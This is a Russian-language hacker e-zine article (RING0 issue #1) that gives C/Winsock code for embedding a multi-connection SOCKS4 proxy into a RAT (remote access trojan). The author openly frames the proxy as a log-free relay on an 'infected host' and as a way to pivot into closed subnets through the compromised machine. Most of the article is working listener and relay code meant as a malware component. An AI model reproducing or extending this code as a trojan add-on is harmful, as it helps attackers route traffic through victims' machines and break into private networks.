/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                 Встраиваем мультиконнектный socks4 в rat

                                                          by CNerd/HangUP

  Практически  каждый  автор  RAT,  дописав основную часть своего детища,
 начинает  наворачивать  на  ...  эээ  ...  продукт  своего  труда всякие
 рулезно-кульные  фичи  и  аддоны.  И  почти  наверняка  подумывал,  а не
 встроить ли туда прокси сервер.
  И  в  самом  деле, прокси всегда может пригодиться. В этом случае лучше
 иметь  под рукой на каком-нибудь инифицированном хосте свой собственный,
 чем рыскать в поисках анонимных проксей (тем более, что мы на 100% можем
 поручиться за безопасность и отсутствие логов - сами же писали).
  Замечу   также,   что   прокси   сервер   может  быть  использован  для
 проникновения  в  закрытую  от  чужих  глаз,  рук  и других оконечностей
 подсеть через установленный на соответственной машине RAT.
  Реализовывать  будем  мультиконнектный (расчитанный на 60 подключений -
 для  Win9x  на  поток  пределом  является 64) Socks4 - достаточно широко
 используется и весьма несложен.

  Несколько  слов  по  протоколу.  Сервер  принимает строку, состоящую из
 байт:

04 01 PH PL IP IP IP IP
первые 2 байта - символы 04 и 01
вторые 2 байта - соотвественно старший и младший байты порта
да еще 4 байта - IP адрес

  После  обработки этого бреда, прокся ползет по указанному адресу:порту,
 и  если  с  соединением  облом,  закрывает  сокет, если же все путем, то
 выдает строку следующего содержания:

00 5A 00 00 00 00 00 00

  Собственно,  это  все,  что нам нужно. Итак, для начала объявим парочку
 идиотских массивов, переменных и поставим наш сокет на прослушку:

 SOCKET as[60],cs[60]; // accepted sockets, proxy client sockets arrays
 SOCKET sw;            // основной сокет
 SOCKADDR_IN sa,st;
 int q,r;
 HWND hwnd;            // хэндл созданного окна

 sw=socket(AF_INET,SOCK_STREAM,PF_UNSPEC); // создаем сокет
 st.sin_family      = AF_INET;
 st.sin_addr.s_addr = INADDR_ANY;
 st.sin_port        = htons(1080); // порт проксика

 bind(sw,&st,sizeof(st));
 listen(sw,60);
 WSAAsyncSelect(sw,hwnd,20000,FD_ACCEPT);  // назначаем обработчик

  Далее  -  обработка события FD_ACCEPT, в результате которого мы получим
 подтвержденный  сокет,  и  назначим  на  него  обработчики для FD_READ и
 FD_CLOSE.

LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg,
                         WPARAM wParam, LPARAM lParam)
{
 switch (iMsg)
 {
  case 20000:

    /* Соединились с основным сокетом */

   if (LOWORD(lParam) == FD_ACCEPT)
   {
    q=sizeof(sa);
    r=accept(wParam,(struct sockaddr*)&sa,&q); // получаем подтвержденный сокет
    as[(r-wParam)/4-1]=r;                      // заносим его в массив
    WSAAsyncSelect(r,hwnd,20001,FD_READ|FD_CLOSE); // обработчик чтения и закрытия
   }

  break;

  ...

  А  ниже  уже  обработка  собственно  назначенных подтвержденному сокету
 FD_READ  (запрос  на  соединение  с хостом, создание клиентного сокета и
 передача данных туда), FD_CLOSE.

  case 20001:

   lParam=LOWORD(lParam);
   for (r=0;r<60;r++) if (as[r] == wParam) break; // определяем номер сокета

    /* Чтение из сокета */

   if (lParam == FD_READ)
   {
    q=recv(as[r],b1,65535,0);  // собственно читаем

      // Это запрос серверу на соединение с удаленным хостом?

     if ((b1[0] == 4) && (b1[1] == 1))
     {
      closesocket(cs[r]);

      cs[r]=socket(AF_INET,SOCK_STREAM,AF_UNSPEC); // создаем клиентный сокет
      sa.sin_family=AF_INET;                       // с таким же номером

       // выковыриваем IP
      sa.sin_addr.s_addr=MAKELONG(MAKEWORD(b1[4],b1[5]),MAKEWORD(b1[6],b1[7]));
      sa.sin_port=htons(b1[3]+b1[2]*256); // и порт

      WSAAsyncSelect(cs[r],hwnd,20002,FD_READ|FD_CLOSE|FD_CONNECT);
      connect(cs[r],&sa,sizeof(sa));
     }
     else send(cs[r],b1,q,0); // иначе - передача данных в клиентный сокет

   }

    /* Закрытие подтвержденного сокета */

   if (lParam == FD_CLOSE) closesocket(cs[r]); // мочим соотв. клиентный сокет

  break;

  ...

  Ну,  наконец добрались и до клиентного сокета - здесь происходит выдача
 подтверждения  об  успешности  соединения,  и передача данных в обратную
 сторону.

  case 20002:

   lParam=LOWORD(lParam);
   for (r=0;r<60;r++) if (cs[r] == wParam) break;

    /* Успешно соединились с удаленным хостом! - рапортуем */

   if (lParam == FD_CONNECT) send(as[r],"\0\132\0\0\0\0\0\0",8,0); // oct132=dec90=hex5A

    /* Передача данных в подтвержденный сокет as[r] */

   if (lParam == FD_READ)
   {
    q=recv(cs[r],b1,65535,0);
    send(as[r],b1,q,0);
   }

    /* Отвалился клиентный сокет, обламываемся */

   if (lParam == FD_CLOSE) closesocket(as[r]); // закрываем подтвержденный

  break;

  ...

  Ну  вот  и  все. Надеюсь, это достаточный апофигоз для нашей кончита ля
 фигедия? Ждем рекомендаций лучших проксеводов. ;)